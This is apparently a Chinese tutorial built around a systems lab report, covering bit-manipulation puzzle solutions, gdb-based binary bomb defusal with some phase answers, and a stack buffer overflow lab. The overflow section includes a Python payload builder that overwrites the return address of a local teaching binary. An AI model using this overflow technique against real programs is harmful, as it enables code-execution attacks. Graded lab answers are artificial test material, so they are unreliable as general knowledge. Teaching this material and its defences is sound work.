计算机系统基础实验:位操作、Binary Bombs与缓冲区溢出
简介:这份华中科技大学计算机系统基础实验报告面向学习计算机系统导论、数据表示与底层编程的高校学生及自学者,围绕整数与浮点数编码、位操作、补码运算、Binary Bombs拆解和缓冲区溢出攻击等实验展开,可用于课程实验复盘、期末复习与调试思路梳理。压缩包共1个docx文档,约1.6MB,按实验报告体例收录实验概述、实验内容、设计源码与总结,便于对照C语言函数实现和Linux环境下的操作要点。目前已有1388人学习下载,在同类课程资料中具有一定参考价值。文档具体呈现lsbZero、byteNot、byteXor、logicalAnd、rotateLeft等位运算题目的实现思路,也记录Binary Bombs逐阶段分析与缓冲区溢出检测的实践过程,能帮助读者理解计算机内部如何存储和处理信息,并积累排错与问题拆解经验,适合需要补齐底层实验短板、对照源码查漏补缺的读者。
1. 从一份实验报告说起:三个实验正好卡在机器级表示的三道坎上
翻这份计算机系统基础实验报告,最先吸引我的不是目录,而是它把最容易「原理看得懂、代码写不出」的三块内容串成了一条线:数据表示、Binary Bombs、缓冲区溢出。报告里既有bits.c里 13 个函数的完整源码和算子预算,也有炸弹六个阶段的 gdb 跟踪记录,还有栈帧偏移的实测过程。它适合两类人:正在做同类实验、被 Max ops 卡住的同学;以及想重新过一遍机器级表示、又不想从教材第一章啃起的开发者。下面按「怎么跑起来、参数怎么改、哪里会出问题」的顺序拆。
2. bits.c 位操作:13 个函数的算子预算怎么分配才不超标
数据表示这一实验的难点不在算法思想,而在约束。13 个函数分成位操作、补码运算、浮点数三类,每类都有Max ops上限和Rating难度分,超过上限直接判错,哪怕结果对。我在下面先把约束讲清,再逐个拆写法,最后给出验证流程。
2.1 三条硬约束:合法算子、Max ops、常量范围
dlc是这套实验的规则检查器,它不运行你的代码,只做静态扫描。它检查的东西比大多数人以为的多:
- 算子白名单。每个函数头注释里都写了
Legal ops,比如lsbZero只允许! ~ & ^ | + << >>,写了-、*、/、%就报错。 - 算子计数。
Max ops统计的是所有出现的运算符实例,一个&记 1 个,移位记 1 个。注意是「实例」,x & y & z算 2 个。 - 常量范围。整数常量一般限制在 0~255,所以
0xff合法,0xffffffff不合法,得用~0或(1<<31)>>31造全 1 掩码。 - 控制流限制。位操作和补码类函数禁止
if、while、for,浮点两题反而允许,因为它们是unsigned函数。
下表把 13 个函数的预算和核心思路对齐,写代码前先看这张表比上来就写更省时间:
| 函数 | 类别 | Rating | Max ops | 核心思路 |
|---|---|---|---|---|
lsbZero | 位操作 | 1 | 5 | 右移丢掉最低位,再左移补 0 |
byteNot | 位操作 | 2 | 6 | 造出第 n 字节为 0xff 的掩码,异或 |
byteXor | 位操作 | 2 | 20 | 右移取出双字第 n 字节,异或后逻辑化 |
logicalAnd | 位操作 | 3 | 20 | !!两次把任意非零压成 1,再相与 |
logicalOr | 位操作 | 3 | 20 | 同上,改成相或 |
rotateLeft | 位操作 | 3 | 25 | 造低 n 位全 1 的掩码,接住右移搬过来的位 |
parityCheck | 位操作 | 4 | 20 | 折叠异或,把 32 位压到 1 位 |
mul2OK | 补码 | 2 | 20 | 比较符号位与次高位是否一致 |
mult3div2 | 补码 | 2 | 12 | 乘 3 后处理向零取整的舍入 |
subOK | 补码 | 3 | 20 | 同号相减不溢出,异号看结果符号 |
absVal | 补码 | 4 | 10 | 用算术右移得到全 0 或全 1 掩码 |
float_abs | 浮点 | 2 | 10 | 清符号位,NaN 例外返回原值 |
float_f2i | 浮点 | 4 | 30 | 拆分阶码,按 127/150 分界处理 |
提示:先跑
./dlc -e bits.c看每个函数实际用了几个算子,比肉眼数准。-e会打印每个函数的算子计数,超标的函数会单独标注。
2.2 位操作与补码:从 lsbZero 到 absVal 的写法拆解
先说最简单的lsbZero。把最低有效位清 0,直觉写法是x & ~1,但~1是0xfffffffe常量超标,于是改用移位:右移一位再左移一位。这里有个容易忽略的细节,int的右移是算术右移,负数右移会补符号位,但紧接着左移一位后最低位仍然是 0,符号位也回来了,所以正负都不受影响。
byteNot是这套代码里比较有代表性的写法,用 0xff 左移 8n 位造掩码:
/* * byteNot - 把双字 x 的第 n 个字节按位取反 * n 取 0(最低字节) 到 3(最高字节) * 例: byteNot(0x12345678, 1) = 0x1234A978 */ int byteNot(int x, int n) { int y = 0xff; /* 单字节全 1 掩码 */ n = n << 3; /* 字节序号转位偏移,1 字节 = 8 位 */ y = y << n; /* 掩码平移到目标字节位置 */ x = x ^ y; /* 异或 1 即取反,其它字节异或 0 不变 */ return x; }逻辑说明:异或的性质是「与 1 异或取反,与 0 异或保持」,所以只要造出一个只有目标字节为全 1 的掩码,一次异或就能完成局部取反。参数说明:n是字节序号,必须先左移 3 位换算成位偏移,这是所有字节级操作的固定套路;0xff是老式 C 写法,等价于255,写成十进制同样合法,只是可读性差一点。
byteXor是同一套路的反向用法:先右移把目标字节挪到最低位,再和0xff相与切干净,最后异或取逻辑值。这里的关键点是& 0xff必须在异或之前,因为算术右移会把符号位铺满高位,不切干净的话两个数的高位污染会直接算进结果里。最后用!!把任意非零值压成 1,这个技巧在整套代码里反复出现,是绕开if的标准手段。
rotateLeft是位操作里最容易写错的一题。循环左移的本质是「左移 n 位丢掉的高位,要补到低位去」,所以右移32-n位把丢掉的位搬回来,再用掩码只保留低 n 位:
/* * rotateLeft - 把 x 循环左移 n 位, 0 <= n <= 31 * 例: rotateLeft(0x87654321, 4) = 0x76543218 */ int rotateLeft(int x, int n) { int z; /* (1<<31)>>31 得到全 1, 左移 n 位后低 n 位为 0, 取反得低 n 位全 1 */ z = ~(((1 << 31) >> 31) << n); /* 32 + (~n + 1) 即 32 - n, 用补码加法避开减法运算符 */ x = ((x >> (32 + (~n + 1))) & z) + (x << n); return x; }逻辑说明:x << n负责把主体左移,空出来的低 n 位是 0;x >> (32-n)把溢出的高 n 位搬到最低位,但高位会带上符号位的脏数据,所以必须& z只留低 n 位;两段没有重叠位,用加法或按位或结果一样。参数说明:32 + (~n + 1)就是32 - n,因为~n + 1是n的相反数补码,这么写纯粹是为了避开减法运算符,算子数也只多花 2 个。掩码z的构造用了(1<<31)>>31,这是造全 1 常量的通用写法,比硬写0xffffffff安全。
parityCheck判断 1 的个数奇偶,思路是折叠:把高 16 位和低 16 位异或,问题规模减半,重复 5 次后所有位的奇偶性汇总到最低位附近。这套代码取巧在最后一步用y >> 31直接取符号位,而不是继续& 1,省了一个算子。需要注意的是这个写法依赖算术右移对负数的行为,在 x86-64 的 gcc 默认设置下没问题,换成-funsigned-char之类的极端配置要重新验证。
补码类里absVal是最能体现「掩码思维」的一题:
/* * absVal - 求 x 的绝对值, -TMax <= x <= TMax * 例: absVal(-1) = 1 */ int absVal(int x) { int y = x >> 31; /* x 为负则 y 全 1, 否则全 0 */ x = (y & (~x + 1)) + ((~y) & x); /* 负则取 ~x+1, 否则保持 x */ return x; }逻辑说明:x >> 31是一个不花钱的分支,负数得全 1、非负得全 0;y & (~x+1)在负数时生效,~y & x在非负时生效,两段互斥所以相加就是选择。参数说明:~x + 1是求相反数的标准写法,等价于-x,省一个算子。mult3div2和subOK是同类思路,前者要额外处理「负数右移向负无穷取整」和「C 语言除法向零取整」的差异,后者靠「同号相减必不溢出」这条性质判断。
2.3 浮点两题:float_abs 与 float_f2i 的 127/150 分界
浮点题允许用if和while,所以重点从「省算子」变成「把 IEEE 754 的位布局记准」。单精度格式是 1 位符号、8 位阶码、23 位尾数,阶码偏置值是 127,尾数隐含一个前导 1,这三点决定了float_f2i的全部逻辑。原文里float_f2i用 150 做分界,这个 150 不是随便来的:真实数值等于尾数乘以2^(阶码-127-23),把隐含位移进去之后指数就变成阶码 - 150,所以 150 就是「小数点落在尾数最低位」的临界阶码。
/* * float_f2i - 把单精度浮点位模式转成 int * 超出范围(含 NaN/无穷)统一返回 0x80000000 */ int float_f2i(unsigned uf) { unsigned num = 0x80000000; /* 补上隐含的前导 1, 得到 24 位有效数字 */ int x = (uf & 0x007fffff) ^ 0x00800000; int order = (uf & 0x7f800000) >> 23; /* 取 8 位阶码 */ if (order > 158) return num; /* 指数过大, 必溢出 */ if (order < 127) return 0; /* 绝对值小于 1, 截断为 0 */ else if (((uf >> 31) & 1) == 1) { /* 负数分支 */ if (order > 150) return ~(x << (order - 150)) + 1; else return ~(x >> (150 - order)) + 1; } else { /* 正数分支 */ if (order > 150) return x << (order - 150); else return x >> (150 - order); } }逻辑说明:(uf & 0x007fffff) ^ 0x00800000是在尾数最高位补上隐含的 1,异或和按位或结果相同,写成异或只是沿用了原文风格。阶码大于 150 说明小数点要往右移,尾数左移;小于 150 说明要往左移,尾数右移,右移本身实现的就是截断,正好对上 C 语言整数转换向零取整的语义。负数分支多一步取相反数,因为补码负数右移是向下取整,与向零取整差 1。参数说明:order > 158是溢出上界,order < 127直接归零,这两个边界值对应2^31和1.0,改动任何一个都会让边界用例挂掉。
2.4 验证流程:dlc 查规则、btest 查结果、driver 查边界
写完不是结束,这套实验的验证链有三层,缺一层就可能出现「自己测全对、交上去全错」:
# 1. 规则检查, -e 顺便打印每个函数的算子数 ./dlc -e bits.c # 2. 全量测试, 逐函数跑标准用例 make btest ./btest # 3. 单函数调试, -f 指定函数名 ./btest -f float_f2i # 4. 指定输入验证边界值, 后面跟的是函数参数 ./btest -f float_f2i -1 0x4b000000命令说明:./dlc -e bits.c只看静态规则,不保证逻辑对;./btest才跑用例,输出里每个函数一行,错的会打印期望值和实际值;-1表示给函数传一个参数,十六进制参数直接写0x前缀。我一般习惯先把dlc跑通再跑btest,因为算子超标时btest的输出会混着规则错误,排查起来更乱。原文里实验结果是 13 个函数全部通过,说明这套写法在标准用例下是站得住的。
3. Binary Bombs 拆弹:用 gdb 断点和 objdump 反汇编逐阶段推进
第二个实验是拆二进制炸弹,一个 Linux 可执行程序,六个阶段各要一个正确输入,输错就打印BOOM!!!并退出。这一实验真正考的是「读汇编 + 用调试器验证假设」,不是靠猜。下面按准备、推进、隐藏阶段三块讲,每个阶段给出判断依据而不是直接给答案,因为不同炸弹的答案本来就不一样。
3.1 拆弹前的三件准备:反汇编、断点、输入文件
第一件事是把二进制摊开成可读的汇编,同时准备好输入文件,避免每次运行都手敲:
# 反汇编到文件, 后面全程以这个文件为主战场 objdump -d bomb > asm.txt # 用文本工具定位各阶段入口 grep -n "<phase_" asm.txt # 准备输入文件, 一行一个阶段的答案 printf 'The future will be better tomorrow.\n0 1 1 2 3 5\n' > input.txt # gdb 加载, 先在所有爆炸点和各阶段入口下断点 gdb -q bombgdb 里最值的几条命令,建议直接抄进笔记:
| 命令 | 用途 | 使用时机 |
|---|---|---|
break explode_bomb | 在爆炸函数下断点 | 每个阶段都留着,防止程序直接退出 |
break phase_1 | 在阶段入口下断点 | 定位当前阶段的参数准备 |
run input.txt | 带输入文件运行 | 避免反复手输 |
x/s 0x804a204 | 按字符串查看内存 | 阶段 1 直接读比较串 |
x/6dw $esp | 按 6 个十进制字查看栈 | 阶段 2 看读入的数字 |
info registers | 查寄存器快照 | 判断当前走到哪个分支 |
si/ni | 单步进入 / 单步跳过 | 跟 call 进子函数时用si |
第二件事是理解断点策略。原文的做法是在每个阶段的开始代码前和explode_bomb前都下断点,这个习惯很值:前者让你在输入被解析之前就停下,能看清栈上原始数据;后者保证炸弹不会真的炸掉,进程停在爆炸前,你可以回头检查寄存器。少了后面这个断点,一次输错就得重跑,调试节奏全乱。
第三件事是先把main读完。main里能看出每个阶段读几行、调用顺序、以及隐藏阶段的触发条件。原文阶段 1 的分析就是靠main里read_line的返回值落点,反推出%eax里存的是用户输入,再去和0x804a204比较。这个「从调用者看被调用者」的顺序,比一上来就硬读phase_1快得多。
3.2 六个阶段的推进顺序与判断依据
六个阶段的难度是递增的,但真正的分水岭在阶段 4,前面三个阶段靠静态读汇编就能拿下,后面三个必须动态跟。
阶段 1 是字符串比较,汇编里是一个call strings_not_equal,两个参数分别来自%eax(用户输入)和一个立即数地址。判断依据很直接:看movl $0x804a204, 0x4(%esp)这类指令,立即数就是被比较串的地址,x/s一读就出来。原文读出的结果是The future will be better tomorrow.,这是一个完整句子,长度超过一般猜测范围,说明这题就是考「会不会用调试器读内存」。
阶段 2 是循环。先用read_six_numbers这个函数名判断输入是 6 个整数,再看循环体里的比较逻辑。原文的分析路径是先确认前两个数必须是 0 和 1,再从循环体的加法推出「后一个数是前两个数之和」,得到0 1 1 2 3 5。这里的关键判断是循环边界:cmp后面跟的立即数决定循环几轮,jle和jl的差别决定最后一轮算不算,读错一个跳转就往错误方向推。
阶段 3 是条件分支加跳转表。这题最容易卡的地方是jmp *0x804a260(,%eax,4)这种间接跳转,它按第一个输入的值去跳转表里取地址。判断依据是:先用cmpl $0x7, 0x28(%esp)和ja explode_bomb确认第一个输入必须小于 7,再假设它是 0,顺着跳转表落到某个分支,读该分支里的mov $0x76, %eax和cmpl $0x104, 0x2c(%esp),得到字符'v'和数字 260。原文用 0 作为第一个输入是合理的试探策略:跳转表里 0 号分支通常是第一条,地址最好算。
阶段 4 开始涉及递归调用和栈。这题的输入是两个整数,其中一个会作为递归函数的参数。判断依据分两步:先用x/s查格式串确认输入类型和个数,再跟call进递归函数看递归出口条件。递归题的坑在于出口条件往往依赖参数的取值范围,输入稍大就会栈溢出或者走到爆炸分支,所以要用 gdb 在递归函数入口反复continue,看参数怎么收敛。
阶段 5 是指针和字符串。这题的输入通常是一个字符串,程序会拿它的每个字符去做下标,从一个字符表里取值。判断依据是先找到字符表的基地址,再看下标运算的掩码(常见是& 0xf),反推出每个位置需要什么字符。原文没展开,但这类题的通用手法是:在循环体里下断点,每次迭代打印当前下标和取到的值,一轮下来就能把映射关系摸清。
阶段 6 是链表加结构体。这题最麻烦,因为要同时满足「链表按某个字段排序」和「节点顺序符合输入」两个条件。判断依据是先找到链表头节点地址,用x/3dw按三字一组把整条链打出来,看清每个节点的值和序号,再按排序要求反推输入顺序。原文目录里把这一阶段列为「链表/指针/结构」,说明它同时考数据结构和指针运算。
3.3 隐藏阶段:字符串拼接触发与二次分析
隐藏阶段不是每个炸弹都有,触发条件写在第 4 阶段的解之后:在正确解后面再附加一段特定字符串,程序检测到就把隐藏阶段拉起来。原文明确写了这个机制,所以拆完阶段 4 千万别急着往下走,先看phase_4尾部有没有strings_not_equal之类的比较,有就说明有隐藏入口。
分析方法和前面一样,但要注意隐藏阶段的入口函数不在main的调用序列里,grep "<phase_"未必能搜到。我的做法是先objdump全文搜explode_bomb的调用点,把所有引用爆炸函数的位置列出来,再逐个对照看哪个不在已拆阶段里,那个就是隐藏阶段。这一步用grep -n "explode_bomb" asm.txt一行命令就能定位,比到处翻汇编快。
需要说明的是,拆弹的具体答案和二进制密切相关,不同环境编译出来的炸弹地址和常量都不同,所以这份报告的价值在分析路径而不在答案本身。照抄答案最容易出问题,因为地址一变全盘失效;把「怎么找地址、怎么设断点、怎么读内存」这套方法学会,换一个炸弹照样能拆。
4. 栈帧与返回地址:缓冲区溢出实验的偏移计算和边界控制
第三个实验是缓冲区溢出,目录里有但原文没展开内容。这一实验的教学价值在于把「函数调用时栈上发生了什么」从概念变成可测量的数字:buf的起始地址在哪、返回地址在哪个偏移、覆盖多少字节才能改到它。下面的做法都在本地教学二进制上完成,编译时关闭栈保护,目的是观察栈布局,不是面向真实目标的手法。
4.1 栈帧布局:从 buf 到返回地址差多少字节
x86 下典型的函数栈帧布局可以用一张表描述清楚,这张表是所有偏移计算的依据:
| 相对位置 | 内容 | 与溢出的关系 |
|---|---|---|
%ebp + 8起 | 第一个参数、第二个参数 | 一般不动 |
%ebp + 4 | 返回地址 | 覆盖目标,决定 ret 跳去哪 |
%ebp | 调用者保存的旧%ebp | 覆盖它会污染上一层栈帧 |
%ebp - 4起 | 局部变量、保存的寄存器 | 中间可能有 canary |
%ebp - N | buf起始地址 | 读入的起点,N 由sub指令决定 |
判断 N 的方法在反汇编里:函数开头的sub $0xNN, %esp就是给局部变量腾的空间,buf一般从%esp或者%ebp - 偏移开始,具体看lea指令把哪个地址传给了读入函数。原文里读入函数的第一个参数就是buf地址,所以只要在调用读入函数之前停一下,print $eax或者p/x $esp就能拿到实测值,不用纯靠读汇编推。
这里有个容易踩的坑:编译器可能插入 canary、可能对齐栈到 16 字节、可能把buf放在%ebp下方任意位置,所以「缓冲区大小 32 字节,返回地址就在偏移 32+4」这种算法经常差几个字节。血泪经验是永远用实测偏移,不要用结构体大小加 4 硬算。
4.2 用 gdb 量偏移:三步定位 buf 起点和返回地址
量偏移的流程固定三步,每步都用一个 gdb 命令落地:
# 1. 在读入函数调用处下断点, 通常是 gets / read / fgets gdb -q ./vuln (gdb) break *0x080484a0 # 地址取自 objdump 里 call 读入函数那条指令 (gdb) run < payload.txt # 2. 断下后拿 buf 起始地址, 两种等价写法 (gdb) p/x $eax # 读入函数第一个参数常放在 eax 或栈上 (gdb) p/x $esp # 或者直接看当前栈顶 # 3. 拿返回地址位置, 用 info frame 一次看全 (gdb) info frame (gdb) p/x $ebp命令说明:break *地址是硬编码地址下断点,比break 函数名更准,因为同名函数可能有多个;info frame会直接打印saved eip的地址,这个值减去buf起始地址就是精确偏移,比数汇编靠谱得多。p/x用十六进制打印,避免地址以十进制显示时看错位。我一般会把这三个值抄在纸上:buf起始、%ebp、saved eip,后面构造 payload 全用这三个数。
偏移拿到之后,返回地址本身的值也要确认,因为它决定了覆盖后跳去哪。教学二进制通常会提供一个touch之类的函数,反汇编里搜一下就能拿到入口地址,这个地址就是 payload 末尾要填的 4 字节。
4.3 构造 payload:小端序、对齐与不可打印字节
有了偏移和目标地址,payload 就是「填充字节 + 目标地址」的拼接。用 Python 写比手搓十六进制安全,因为小端序和长度对齐都交给库处理:
import struct, sys offset = 44 # 实测偏移: buf 起点到 saved eip 的字节数 target = 0x08048456 # 目标函数入口, 取自 objdump # 小端序打包 4 字节地址, '<I' 表示小端无符号 32 位 payload = b'A' * offset + struct.pack('<I', target) # 写到文件, 注意用二进制模式, 避免换行符被改写 with open('payload.txt', 'wb') as f: f.write(payload + b'\n') sys.stdout.write('payload length = %d\n' % len(payload))逻辑说明:b'A' * offset先精确填满buf到返回地址之间的所有字节,多一个少一个都会让返回地址错位;struct.pack('<I', target)把地址按小端序写成 4 字节,x86 是小端机器,写成大端就跳到错误地址。参数说明:offset必须用上一步实测值,target必须是目标函数的第一条指令地址,取函数中间某条指令也能跳,但可能缺栈帧准备导致崩溃。文件末尾补一个换行是有意的,很多读入函数靠换行结束输入,不补会一直等。
注意:如果目标地址或偏移里含
0x0a(换行)、0x20(空格)这类字节,某些读入函数会提前截断。遇到这种情况要么换目标地址(跳到目标函数的下一条指令),要么换用二进制安全的读入方式。
实验做完之后,值得顺手看一眼防护机制的效果:同样的代码加-fstack-protector-strong重新编译,再用同样的 payload 跑一遍,程序会在__stack_chk_fail处中止。这一步比单纯「溢出成功」更有价值,因为它把「为什么现代编译器默认开栈保护」从一句话变成了一个可复现的现象。再开-z noexecstack和系统级地址随机化,同一条 payload 会连续失败,这几个开关就是缓冲区溢出从「能打」变成「难打」的全部原因。
5. 避坑记录:从 dlc 报错到炸弹爆炸的五个现场
这三个实验的错误信息都不算友好,dlc只报行号和规则名,炸弹只打印BOOM!!!,溢出实验直接段错误。下面五条是我和身边人反复踩过的,按「现象 → 原因 → 解决」写,遇到了直接对号入座。
5.1 dlc 报「bad expression」但代码看着没错
现象:./dlc bits.c报某行 bad expression,人眼检查那行只有一个x & 0xff。原因:常量超范围,0xff是 255 没问题,但很多人顺手写0xffffff00这种掩码,超过 255 就被判非法。解决:用移位和取反造大常量,~0xff或(1<<31)>>31 << 8,既合法又不增加太多算子。
5.2 btest 全过但提交后算子超标
现象:本地./btest13 个函数全绿,助教脚本判 0 分。原因:只跑了功能测试没跑规则测试,btest不检查Max ops,算子数和合法算子只有dlc管。解决:把./dlc -e bits.c加进提交前的固定流程,输出里每个函数的算子数都要低于上限,留 1~2 个余量防止不同版本dlc计数差异。
5.3 炸弹阶段 2 输入对了还是炸
现象:按斐波那契推出来的 6 个数字输进去,程序仍然BOOM!!!。原因:读入函数对分隔符敏感,有的是空格分隔,有的是逗号,还有的要求一行内恰好 6 个数字不能多不能少。解决:先用x/s查read_six_numbers里的格式串,确认分隔符;再在read_six_numbers返回处下断点,x/6dw看栈上实际读到了几个数,读少了就是格式不对。
5.4 gdb 断点打在 phase 函数上但程序先炸了
现象:break phase_3之后run,没停到断点,直接输出爆炸信息退出。原因:前面某个阶段的输入是错的,程序在阶段 2 就炸了,根本走不到阶段 3;也可能是断点地址被 PIE 重定位改变,地址对不上。解决:先break explode_bomb兜底,再逐个阶段用continue推进,看停在哪一步;同时用info files确认二进制是不是 PIE,是的话改用break phase_3这种符号断点而不是硬编码地址。
5.5 溢出 payload 长度对了但跳转地址错位
现象:偏移算得和info frame一致,payload 长度也对,但ret之后跳到非法地址。原因:目标地址里含有0x0a,被gets之类的行读入函数当成换行提前截断,实际写入的字节数比预期少。解决:先x/8bx看栈上实际写入的字节,确认有没有被截断;再换目标地址,跳到目标函数里不含0x0a的那条指令上,一般往下挪一两条就能绕开。顺带养成习惯:payload 生成脚本里加一行打印长度和十六进制内容,出问题时省一半排查时间。
6. 进阶:把三个实验串成一条自动验证链
单次跑通和稳定复现是两件事。我在带人做这套实验时发现,绝大多数「昨天还对今天就不对」的情况,都是因为验证步骤靠手敲,中间漏了一步。把三个实验的验证串成一条链,每次改完代码跑一遍,比事后对着报错猜要省时间得多。
具体做法是写一个入口脚本,把规则检查、功能测试、反汇编、payload 生成四件事固定下来:
#!/bin/bash # 一次跑完三个实验的验证步骤, 任一步失败就退出 set -e echo "[1/4] bits.c 规则检查" ./dlc -e bits.c echo "[2/4] bits.c 功能测试" make -s btest && ./btest echo "[3/4] 炸弹反汇编刷新" objdump -d bomb > asm.txt grep -c "explode_bomb" asm.txt echo "[4/4] 溢出 payload 重建" python3 gen_payload.py && ls -l payload.txt脚本说明:set -e让任一步失败就停,避免带着错误往下跑;make -s静默编译,输出干净;grep -c顺手统计爆炸函数引用数,个数变了往往意味着二进制换过,之前的断点地址全部作废;最后一步重建 payload 并打印文件大小,长度异常一眼能看出来。这个脚本不长,但它把「我改了什么、哪一步开始不对」变成了可定位的信息。
另外一个值得坚持的习惯是:每次实验开始前,先把当前二进制的关键地址抄进一个文本文件,包括六个阶段的入口、explode_bomb、字符串表基址、buf偏移、目标函数地址。这份清单看起来笨,但换环境重编一次二进制之后,所有硬编码地址都会变,有清单就能逐条对照更新,没有就只能从头再找一遍。
从那以后我每次动这类底层实验,都强制先跑一遍dlc -e和info frame,把算子数和栈偏移这两个数字记下来再写代码,翻车次数明显少了。希望帮到你。
本文还有配套的精品资源,点击获取